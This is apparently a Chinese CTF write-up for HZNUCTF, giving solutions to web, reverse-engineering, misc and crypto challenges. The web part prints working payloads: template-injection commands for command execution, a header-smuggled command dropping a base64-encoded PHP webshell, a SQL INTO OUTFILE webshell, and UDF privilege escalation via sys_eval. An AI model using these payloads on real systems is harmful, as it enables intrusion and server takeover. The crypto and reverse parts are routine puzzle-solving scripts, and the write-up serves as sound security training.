web

ezssti

go的ssti,源码里面定义了一个恶意函数,可以用来rce。

源码;

package main

import (
"fmt"
"net/http"
"os/exec"
"strings"
"text/template"
)

type User struct {
Id int
Name string
Passwd string
}

func (u User) Eval(command string) string {
out, _ := exec.Command(command).CombinedOutput()
return string(out)
}

func Login(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
username := strings.Join(r.PostForm["name"], "")
password := strings.Join(r.PostForm["passwd"], "")
user := &User{1, username, password}
tpl1 := fmt.Sprintf(`<h1>Hi, ` + username + `</h1> This is SSTI, please post your name and password`)
html, err := template.New("login").Parse(tpl1)
html = template.Must(html, err)
html.Execute(w, user)
}

func main() {
server := http.Server{
Addr: "0.0.0.0:8080",
}
fmt.Print("Server is running on 0.0.0.0:8080")
http.HandleFunc("/login", Login)
server.ListenAndServe()
}

查看env即可得到flag。

name={{.Eval "env"}}

suid

源码:

<?php
highlight_file(__FILE__);
// var_dump($_POST);
if (isset($_POST["s_1.1"])) {
echo "level 1"."<br>";
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['cmd'])) {
if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_POST['cmd'])) {
echo 'success!'.'<br>';
eval($_POST['cmd']);
}
}
} else {
echo "nonono 1";
}

无参数rce,getallheader和next没被过滤,可以写个转接rce。

我这里是重新写了个webshell方便后续操作。

Header:
a: system("echo PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4=|base64 -d > shell.php");

POSt:
s[1.1=1&cmd=eval(next(getallheaders()));

最后反弹shell提权,发现bash有suid权限,提权成功后即可查看flag。

sql2login

注册登录就能得到flag了。

真亦假,假亦真(HZNU版)

一句话木马,蚁剑连接即可在根目录下查看到flag。

炼狱waf-S

过滤看着很多,但存在非预期。

过滤了 ''和拼接符号,但可以用多个空格插在中间绕过''的过滤。

最终payload:

payload={{().__class__.__bases__[0].__subclasses__()[133]['__in' 'it__']['__glo' 'bals__']['po' 'pen']('en' 'v')['re' 'ad']()}}

gogogo

先是彩票,伪随机,只要再同一时间内生成的彩票号码是一样的,写个脚本发包即可。

import requests

url = "http://150.158.117.224:20095/r4Mkl"

txt = requests.post(url,data={"number":"1"}).text

go = txt.split("中奖号码为: ")[1].split("\n")[0]
print(go)
txt2 = requests.post(url,data={"number":go}).text
print(txt2)

接着是整型溢出,多试几次就行。

tax=25536

最后是CVE复现,复现出来即可得到flag。

filepath=http://root:P@ssw0rd!@[127.0.0.1]['Pwned!']:

Ezsql

Mysql任意文件读取。

先在自己的服务器上起一个fake_mysql,然后连接,即可读到flag。

HardSql

同样先读文件,这次读的是query.php,拿到mysql的账户密码。

root:asd222!!@332asc

用这个账户密码登录数据库,接着写入一句话木马。

select "<?php eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php"

接着是udf提权。

参考链接:MySQL提权总结

先把udf.so放到 /usr/lib/mariadb/plugin/目录下,然后依次执行

sql=CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

之后就可以执行系统命令读flag了

sql=select sys_eval('cat /flag');

Reverse

IDA

ida的常用技巧

flag1:

flag2:

flag3:

flag4:

babyre

反编译查看,前半段做了异或,后半段是base64

flag1:

#include<iostream>
using namespace std;

int main()
{
int v15[16]={'y','k'};
v15[2] = 127;
v15[3] = 100;
v15[4] = 114;
v15[5] = 101;
v15[6] = 119;
v15[7] = 74;
v15[8] = 99;
v15[9] = 2;
char v16[] = "n\0BnGTc";
for(int i=0;i<10;i++)
{

cout << char(v15[i]^0x31);
}
for(int i=0;i<7;i++)
{
cout << char(v16[i]^0x31);
}

}
// HZNUCTF{R3_1s_veR

后半段base64解码即可

HZNUCTF{R3_1s_veRy_1nt3rest1ng@_@}

babyandroid

反编译apk,可以看到我们输入的账户密码是AES加密的key和iv。

密文:

yjvAwO+OE3Ft5Fl5oK984D0xDlXTBMbvEuqno81AycYSGFnNZAQ4kwgU4n4p6MWh

写脚本爆破出key和iv

package com.hello.demo;

public class De_app {


public static void main(String[] args) {
int[][] iArr = {
new int[]{214, 144, 233, 254, 204, 225, 61, 183, 22, 182, 20, 194, 40, 251, 44, 5},
new int[]{43, 103, 154, 118, 42, 190, 4, 195, 170, 68, 19, 38, 73, 134, 6, 153},
new int[]{156, 66, 80, 244, 145, 239, 152, 122, 51, 84, 11, 67, 237, 207, 172, 98},
new int[]{228, 179, 28, 169, 201, 8, 232, 149, 128, 223, 148, 250, 117, 143, 63, 166},
new int[]{71, 7, 167, 252, 243, 115, 23, 186, 131, 89, 60, 25, 230, 133, 79, 168},
new int[]{104, 107, 129, 178, 113, 100, 218, 139, 248, 235, 15, 75, 112, 86, 157, 53},
new int[]{30, 36, 14, 94, 99, 88, 209, 162, 37, 34, 124, 59, 1, 33, 120, 135},
new int[]{212, 0, 70, 87, 159, 211, 39, 82, 76, 54, 2, 231, 160, 196, 200, 158},
new int[]{234, 191, 138, 210, 64, 199, 56, 181, 163, 247, 242, 206, 249, 97, 21, 161},
new int[]{224, 174, 93, 164, 155, 52, 26, 85, 173, 147, 50, 48, 245, 140, 177, 227},
new int[]{29, 246, 226, 46, 130, 102, 202, 96, 192, 41, 35, 171, 13, 83, 78, 111},
new int[]{213, 219, 55, 69, 222, 253, 142, 47, 3, 255, 106, 114, 109, 108, 91, 81},
new int[]{141, 27, 175, 146, 187, 221, 188, 127, 17, 217, 92, 65, 31, 16, 90, 216},
new int[]{10, 193, 49, 136, 165, 205, 123, 189, 45, 116, 208, 18, 184, 229, 180, 176},
new int[]{137, 105, 151, 74, 12, 150, 119, 126, 101, 185, 241, 9, 197, 110, 198, 132},
new int[]{24, 240, 125, 236, 58, 220, 77, 32, 121, 238, 95, 62, 215, 203, 57, 72}
};
int[] iArr2 = {54, 211, 36, 120, 87, 37, 88, 120, 0, 34, 99, 135, 120, 162, 66, 66};
int[] iArr3 = {28, 228, 28, 201, 228, 169, 179, 232, 28, 228, 28, 201, 228, 169, 169, 228};
System.out.print("key: ");
bp(iArr,iArr2);
System.out.println();
System.out.print("iv: ");
bp(iArr,iArr3);
}

static void bp(int[][] iArr ,int[] iArr1){
for(int i=0;i<16;i++)
{
for(int j=0;j<128;j++)
{
if(iArr[j / 16][j % 16] == iArr1[i])
{
System.out.print((char)(j));
break;
}
}
}
}

}


// key: yuanshenqidong!!
// iv: 2024031620240330

AES解密,即可得到flag。

HZNUCTF{welc0m3_2_4ndro1d_r3verse_?O.o_o.O?}

easyPY

反编译exe,再将ezpy文件头修补成python 3.11的头。

反编译pyc,发现反编译不完整,但能看到key和iv生成的函数。

ezpy.pyc包含进脚本里,再次调用这两个函数,即可得到key和iv。

from ezpy import IV,Key
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

key = Key().encode("utf-8")
iv = IV(0, 15).encode("utf-8")

def decrypt(key, plaintext, iv=(None,)):
cipher = AES.new(key, AES.MODE_CBC, iv=iv) if iv else AES.new(key, AES.MODE_CBC)
ciphertext = cipher.decrypt(plaintext)
return ciphertext

enc = "68fcb549ee313b964d5eea2d3dedea23e87e4e89a675ff46698ed29b191ffe19f5bac00e0eb5dedcc8be847356d93eb8"

ciphertext = decrypt(key, bytes.fromhex(enc), iv)

print(ciphertext)

# b'HZNUCTF{w4wawa_Pyth0n_1s_To0_2_ea3y}\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

MISC

你懂流量吗

分析流量,搜素关键字username,可以找到账户密码为

admin:TPShop6.0

再将密码TPShop6.0作为关键字搜素,可以看到密码出现在README文件里。

flag

HZNUCTF{admin_TPShop6.0_README}

ez_base64

先是0宽,解出来发现这两个base64的长度一样且重复字符出现的位置也一样,猜测base64换表

写脚本弄出码表再base64解码即可得到flag。

import base64
x1 = "6L+Z5Lu956yU6K6w55qE5Yid6KG35piv5oOz5oqK5p2t5biI5aSn55qE572R57uc5a6J5YWo6Zif5LyN5YGa5aSn5YGa5by677yM5LiN5b+N5YmN6L6I5ZKM5ZC+562J55qE5b+D6KGA5LuY6K+45Lic5rWB77yM5a+E5biM5pyb5LqO5ZCO6L6I77yM5bm26Lip5Zyo5oiR5Lus55qE6IKp6IaA5LiK77yM5oqK5p2t5biI5aSn5bim5Yiw5pu05aSn5pu06auY55qE5bmz5Y+w77yM6L+Z5Lu95bel5L2c5rC46L+c5LiN5piv5LiA5Liq5Lq655qE5LqL5oOF44CC6Jm95Y2D5LiH5Lq65ZC+4oCc5Lus4oCd5b6A55+j77yM5YWx5YuJ44CC5paH5qGj55qE5Yid6KG35YaZ5Zyo56m66Ze055qE566A5LuL6YeM44CC5YWI5bid5Yib5Lia5pyq5Y2K6ICM5Lit6YGT5q+V5Lia5LqG77yM5aSN5YW05p2t5biI55qE6YeN5Lu756qB54S25bCx6JC95Zyo5oiR5Lus5aS05LiK77yM5q+P5q+P5oOz6LW35q2k5LqL77yM5bCx5LiO6aKc5oC755eb5pal5LiA55Wq5LiL5LiA5bGK5oiQ5ZGY55qE5LiN5Yqq5Yqb5ZKM5LiN5L2c5Li677yM5Y205Lmf5Y+55oGv5rKh6IO95ou/5Yiw5pu05aW955qE5oiQ57up44CC5a2m5Lmg5oC75b2S5piv6KaB57+76L+H5LiA5bqn5Y+I5LiA5bqn5bGx55qE77yM5pyJ55qE5Lq655WZ5Zyo5bGx5LiL77yM5b2T5L2g5Zue5aS055yL5LuW5Lus6L+Y55WZ5Zyo5bGx5LiL55qE5pe25YCZ5Lya5ruh5piv56yR6K+d44CC56ue6LWb6Ieq54S25piv5Y+v5Lul6K6p57up54K55pu05LiK5LiA5bGC5qW855qE5Y+w6Zi277yM5L2G5a6e5Yqb5LuN5piv5pyA6YeN6KaB55qE77yM5Y+m5aSW6Zif5LyN55qE5aOu5aSn6ZyA6KaB5q+P5LiA5Liq5Lq655qE5Yqq5Yqb77yM6Zif5LyN6YeM5LiN6IO95bi45pyJ5Lq65LiN5LuY5Ye677yM5Y205Z2Q5Lqr5LuW5Lq65LmL5oiQ77yM6L+Z5peg55aR5b2x5ZON5pW05Y+q6Zif5LyN55qE5oiQ57up77yM5LiH5LiN5b6X5YGa5Luk5Lq66K+f55eF55qE5LqL77yM6KaB5LmI5Yqq5Yqb5YGa5Ye66LSh54yu77yM6KaB5LmIT1VU44CC"

x2 = "4O+C1Ox514bX4N4z11tH1Blg4NJ21sly1rRa1rtN1s9w1elL1dVq11tH109U10xf1d4M1BZr4Cli1ObQ1BJd1dVq1BJd1eb400bP1OlQ1e+Q1BpQ4O4L1CNP1CE+149M11tH1e+D4NJG1OxB4N+71Olf1uZF00bP1d+H1elP1sbe1OtR1CER4O4L00bP1ep94Ols1Cbr1rlU1Oxv11tH4LNs4LdG1OlN00bP1rtN1s9w1elL1dVq1elp1Blz1sx31dVq1sx34dxB11tH1epa1B+z00bP4O+C1Ox51eho1O9f1uE74O+f1OlQ1sly1OlG1Olt1Ot411tH1OtO1rRI77EE4Mp51B9D1OlK1Ot41CE+7rEf1Oxv7rEg1e4G11+m00bP1BZc1BxM77EE1sdK1tJm11tH1Blg4NJ21BdC1Cbr14p44Ch311tH144G1OxO4BhP77EE1BZL1elg1Ble1Old1sbt1B9N4LEP1Olw4BJW1t+Y1Old1OtJ00bP1dVQ1BZ31s9w1elL11tH4BhQ1Ox014tF17V91eEc4ME51Cbr1rlU1Oxv1dV31OlN00bP1t+S1t+S1rRa4OZ21t9n1OtO00bP1eEc1OlR4dNf1rE011he1sdo1OlG11Zt1OlO1OlG1eJN1rlT1CJB11tH1OlQ1Btt1Bte1CNP1OlQ1O9f1Ol400bP1B931Opi1B+11rJy1uNk4LR51rx/1Blz1sx31dZ511tH1rlT10xs77EE1d9p1Opj1rE01e9V1sly4NdF10+04O+K1OlG1etq1B+L1OlG1etq1eJc11tH00bP1sbM11tH1Ot411ZC1Cbr1eJc1OlO00bP1e9W1O9j1Cxh1dV311bO1OxZ1Oxv4O+B11ZC1Cbr1eJc1OlO11tH1sh91BEC1Obd1uxk1sly14bU4N+g77EE14xh4OZe4Lht17V91sly1B+y1Oxo4N4s10xs17N11sx31OlN1OlG1eJE1tZ611tH1B+z4Cl900bP1O9J1d4h1Bte1OxQ1sly1sbG4BhQ4NdF11tH00bP1B+p1dVZ4Cli1ObQ11tH1dRx1dVq4CbG4NdF1t+S1OlG1Olt1Ot411tH1Btt1Bte00bP4Cli1ObQ4BhP1OlQ4LR51el71sbM1Ot41OlQ1OxB1Bh400bP1B931C9T1Otu1OxZ1Ot41OpO1rlT00bP4O+C1shj11dU1e9c1CRQ1sZ31B+t4Cli1ObQ11tH1rlT10xs00bP1OlK1OlQ1e4A1BJd1Oxn1Ot44N+i11hI11tH1OtO00bP4NdF1OpL1Btt1Bte1BJd1Bh44OVk17bx00bP4NdF1OpLW8YX77EE"

key = {}

for i in range(len(x1)):
if x1[i] not in key :
key[x1[i]]=x2[i]

enc = "PBmLSRKROkqwJB2wQ52Qy52BNEKWU7GXx3R3KZB2"
list_enc = list(enc)
for i in range(len(list_enc)):
list_enc[i] = key[list_enc[i]]

enc = ''.join(list_enc)

print(base64.b64decode(enc))
# HZNUCTF{s0_sO_So_E@sY_B@se64!}

ez_CRC

根据每个文件的crc值爆破出里面的内容,再根据文件名把他们拼接起来得到base64

from binascii import crc32
import string
import zipfile
dic=string.printable
def CrackCrc(crcs,fileList):
crc32_data={}
for i in dic :
# print (i)
for j in dic:
for p in dic:
for q in dic:
s=i+j+p+q
crc = (crc32(bytes(s,'ascii')) & 0xffffffff)
# print (crc32(bytes(s,'ascii')) & 0xffffffff)
for idx in range(len(crcs)):
#print(crcs[idx])
if crcs[idx] == crc:
print(fileList[idx],crc)
crc32_data[int(fileList[idx].split('.')[0])] = s
break
return crc32_data

def getcrc32(fname):
l=[]
file = fname
f = zipfile.ZipFile(file, 'r')
global fileList
fileList =f.namelist ()
#print (fileList)
# print (type(fileList))
for filename in fileList:
Fileinfo = f.getinfo(filename)
# print(Fileinfo)
crc = Fileinfo.CRC
# print ('crc',crc)
l.append(crc)
return l

def main (filename=None):
l = getcrc32(filename)
# print(l)
crc32_data = CrackCrc(l,fileList)
print(crc32_data)
flag = ""
for i in range(1,len(crc32_data)+1):
flag += crc32_data[i]
print(flag)


if __name__ == "__main__":
main ('test.zip')

得到

JUNDIVpRU0MofVhUWk84N0hDXVBSX0g0VDdERlZUR0hVK05aX11AQyl7OUZXWlx7UjtjKXtdXEhBJkszU1V7Lzs0VSNZVXpUXEooM3tZU0YoWH1DNFAyRXtFI1khe1lWQzY5U2NFTltSWUBVSCMmY0hJSEUkRSE2SntMVE1BXztZM0gyezZTVUQxSEM2RkRdejR9Tl8rMVtDX0ZKQzF6TComQztaRFR7VFpCR3tAIWMlKFVaXjMvWUN7RU45VjlZL1VMMXt9VkNUXzgrRTROX0hJe0JjW1VSfTI3M3slRkVaIUBITjkpVGNSY0hDSCNHTlVGOExaWEVDTntISEtCU1NaRFNYTTcyTlkkQSFdSn1AWjVOKkAlWTFORjUxWUNYQFRfRntTXSZHTU1UKiQ1TkdITk5ZVCZVS1p7VEVIY05GMk5TQFdQNFFNSDlIVlooT1pVX1I4Rlljei9RfV5MQE5UVSZaVlFVVTd6QVAyelRXW1MkM1VDJF5UQENESFRFWl5FRVBUVGNTUVBaQ1d6SF84Uk5cTllAMzYyVVVPWkVFI05GQlc1KUljQC8qKiNCKEZOK0t6KTgrQypDN0JOK09IW0VaRjNUSWNfQEFYMzJUX1o1RjV7X1pGSEZAUnokVV9aW09TXkxaNkBRLztXSlpOKUhLT1JKU0NHWkZOVVJBY0t6RkBVQElSXlVFSEk7WVVTJUhGU0VSTSUlQ0MhWlFTQyh9WFRaTzg3SENdUFJfSDRUN0RGVlRHSFUrTlpfXUBDKXs5RldaXHtSO2Mpe11cSEEmSzNTVXsvOzRVI1lVelRcSigze1lTRihYfUM0UDJFe0UjWSF7WVZDNjlTY0VOW1JZQFVIIyZjSElIRSRFITZKe0xUTUFfO1kzSDJ7NlNVRDFIQzZGRF16NH1OXysxW0NfRkpDMXpMKiZDO1pEVHtUWkJHe0AhYyUoVVpeMy9ZQ3tFTjlWOVkvVUwxe31WQ1RfOCtFNE5fSEl7QmNbVVJ9MjczeyVGRVohQEhOOSlUY1JjSENII0dOVUY4TFpYRUNOe0hIS0JTU1pEU1hNNzJOWSRBIV1KfUBaNU4qQCVZMU5GNTFZQ1hAVF9Ge1NdJkdNTVQqJDVOR0hOTllUJlVLWntURUhjTkYyTlNAV1A0UU1IOUhWWihPWlVfUjhGWWN6L1F9XkxATlRVJlpWUVVVN3pBUDJ6VFdbUyQzVUMkXlRAQ0RIVEVaXkVFUFRUY1NRUFpDV3pIXzhSTlxOWUAzNjJVVU9aRUUjTkZCVzUpSWNALyoqI0IoRk4rS3opOCtDKkM3Qk4rT0hbRVpGM1RJY19AQVgzMlRfWjVGNXtfWkZIRkBSeiRVX1pbT1NeTFo2QFEvO1dKWk4pSEtPUkpTQ0daRk5VUkFjS3pGQFVASVJeVUVISTtZVVMlSEZTRVJNJQ==

base64解码后再去字频统计,即可得到flag。

ez_pyc

让GPT分析并给出代码

x = [34, 44, 72]
output = [106, 118, 6, 119, 111, 28, 100, 87, 120, 18, 13, 23, 91, 28, 61, 125, 104, 39, 125, 29, 60, 3, 81]

print('welcome to HZNUCTF')
str1 = input('please input your string:')
if len(str1) != 4:
print('lenth wrong!')
else:
if ord(str1[0]) * ord(str1[1]) + ord(str1[2]) * ord(str1[3]) == 512144:
print('good! continue!')
else:
print('string wrong!')

str2 = input('please input your next string:')
if len(str2) != 3:
print('lenth wrong!')
else:
for i in range(len(output)):
output[i] ^= ord(str2[i % 3])

for i in range(len(output)):
output[i] ^= ord(str1[i % 4])

flag = ''
for i in output:
flag += chr(i)

print(flag)

猜测x是key,异或后即可得到flag。

x = [34, 44, 72]
output = [106, 118, 6, 119, 111, 28, 100, 87, 120, 18, 13, 23, 91, 28, 61, 125, 104, 39, 125, 29, 60, 3, 81]

for i in range(len(output)):
output[i] ^= x[i % 3]

for i in range(len(output)):
print(chr(output[i]),end='')

# HZNUCTF{00!_y0u_Do_1t!}

Crypto

ez_encode

赛博厨子一把梭

你知道什么叫第二重要极限吗?

找个在线网站求出极限的值再md5一下即可。

网站:极限计算器

sign_in

from gmpy2 import *
from Crypto.Util.number import *
from secret import flag

p=getPrime(1024)
q=next_prime(p+(p>>500))

e=0x10001

n=p*q

c=pow(bytes_to_long(flag),e,n)

print("n=",n)
print("c=",c)

'''
n= 12566670550037472299857950450003060170543220489916388216108225583064368322313899804227543199410966827815054158227594990460167944742865670575641390368325110501757177815240023094766378289637565567657130897900181098182493743124700034725694478105732966433589893047975249354370253300873663004210794844162122949861831889639652391219517545984669360480993893579226705266579746356691022559954498205977100626718703472959781277579633411710680518214072645890060091696596677005871169794651099630888477188908717174196927146741531268975111463546260970984916650217713571773967414868843498089570525035105444427219273563117921246804473
c= 4124624756019497985716853528084082801715336009122321144611208260743394500347979730096802843910414584127892037242967052613391189149745555464301106682220336094445291743913607113208572333466692690543238555216464948419114875183086195193063296003211213015928593592167433717598516244635364208977388314062522329260854816785931896124692965607665688555874771010513517238105683326015230127982290701518048033192554799179965513164276929053041064167818711631412974446463873856951641611547970769034038478710696476593301560763875141191494692433617954869188473092441104714849891612692614501415736545219466763702237015017246607888479
'''

参考链接:NepCTF2022]中学数学

next_prime算法的本质逻辑即是通过不断枚举奇数判断是否为素数,而这里n的分解保证了其必为素数,再判断素数的话属于是多此一举(浪费计算资源),所以我们可以根据素数分布公式或next_prime的方案向下枚举,得到唯一分解即可。

import gmpy2
from gmpy2 import *
from Crypto.Util.number import *

n= 12566670550037472299857950450003060170543220489916388216108225583064368322313899804227543199410966827815054158227594990460167944742865670575641390368325110501757177815240023094766378289637565567657130897900181098182493743124700034725694478105732966433589893047975249354370253300873663004210794844162122949861831889639652391219517545984669360480993893579226705266579746356691022559954498205977100626718703472959781277579633411710680518214072645890060091696596677005871169794651099630888477188908717174196927146741531268975111463546260970984916650217713571773967414868843498089570525035105444427219273563117921246804473
c= 4124624756019497985716853528084082801715336009122321144611208260743394500347979730096802843910414584127892037242967052613391189149745555464301106682220336094445291743913607113208572333466692690543238555216464948419114875183086195193063296003211213015928593592167433717598516244635364208977388314062522329260854816785931896124692965607665688555874771010513517238105683326015230127982290701518048033192554799179965513164276929053041064167818711631412974446463873856951641611547970769034038478710696476593301560763875141191494692433617954869188473092441104714849891612692614501415736545219466763702237015017246607888479
e=0x10001
q = next_prime(iroot((n + (n >> 500)), 2)[0])
p = int(n // q)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# HZNUCTF{easy_rsa_challenge_isnt_it}

ez_rsa

from Crypto.Util.number import *
from flag import flag

def keygen(nbit = 32):
while True:
k = getRandomNBitInteger(nbit)
p = 3*k**17 + 3*k**11 - 53*k**7 + 12*k**5 - 114*k + 27329
q = 5*k**13 - 7*k**11 + 43*k**5 - 313*k**3 - 14*k + 18869
if isPrime(p) and isPrime(q):
return p, q

def encrypt(msg, n, e = 65537):
m = bytes_to_long(msg)
return pow(m, e, n)

p, q = keygen()
n = p * q
enc = encrypt(flag, n)
print(f'n = {n}')
print(f'enc = {enc}')

'''
n = 434629751883495095590322184835294241713826996124724888574456689006002393371526151665914856648441777998913711962123653338248552669457411846853237739783050598017579775719691937934872919106352040902327116926790105784755926058764338785933556161606842096674927069945482244958540971324781
enc = 12698694495692349269363576153078519111247359455557853801301945966110661300060428247980981025832474449284566651636612071026974332393320580585633615246812233266102584146373264369967669578537174446367567610553220268243715074041129093898065352593985427607547972686055285353476015645157
'''

这里面就只有k是未知数,解方程求出k即可得到p和q。

求k

# sage
n = 434629751883495095590322184835294241713826996124724888574456689006002393371526151665914856648441777998913711962123653338248552669457411846853237739783050598017579775719691937934872919106352040902327116926790105784755926058764338785933556161606842096674927069945482244958540971324781

k = var('k')

solve((3*k**17 + 3*k**11 - 53*k**7 + 12*k**5 - 114*k + 27329)*(5*k**13 - 7*k**11 + 43*k**5 - 313*k**3 - 14*k + 18869) - n, k)

# k == 2232206010

常规rsa

from Crypto.Util.number import *
import gmpy2

k = 2232206010
p = 3*k**17 + 3*k**11 - 53*k**7 + 12*k**5 - 114*k + 27329
q = 5*k**13 - 7*k**11 + 43*k**5 - 313*k**3 - 14*k + 18869
n=p*q
e = 65537
c= 12698694495692349269363576153078519111247359455557853801301945966110661300060428247980981025832474449284566651636612071026974332393320580585633615246812233266102584146373264369967669578537174446367567610553220268243715074041129093898065352593985427607547972686055285353476015645157

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
# HZNUCTF{cdf7d315-4f57-4d3b-b7b9-8afdbcfccda9}

ez_hash

print(sin(int.from_bytes(open("flag.txt", "rb").read().strip(), "big")).n(1024))
#0.9293072566360917156721319625113859414638614581752638175081621377181647077177905614201525663698026484356904149524948758114053950932573856913592620188629564842619113660708249485771619087909572007797061060693639948035909320176601470572889582595546521165948926724721219315095929084715884686268383018745103696402

参考:2023-ASISCTF-finals-wp-crypto

参考里是 tan,但原理都一样。

脚本:

# sage
precision = 1024
s = 0.9293072566360917156721319625113859414638614581752638175081621377181647077177905614201525663698026484356904149524948758114053950932573856913592620188629564842619113660708249485771619087909572007797061060693639948035909320176601470572889582595546521165948926724721219315095929084715884686268383018745103696402
approx_m = arcsin(s)
T = 2**(precision)
L = Matrix(QQ,3,3,[[(approx_m)*T,0,0],
[(pi.n(precision))*T,1,0],
[9*T,0,1]])
res = L.LLL()
m = (abs(int(res[0][-1])))
print(bytes.fromhex(hex(m)[2:]))
# b'HZNUCTF{sin_is_a_broken_hash_function}'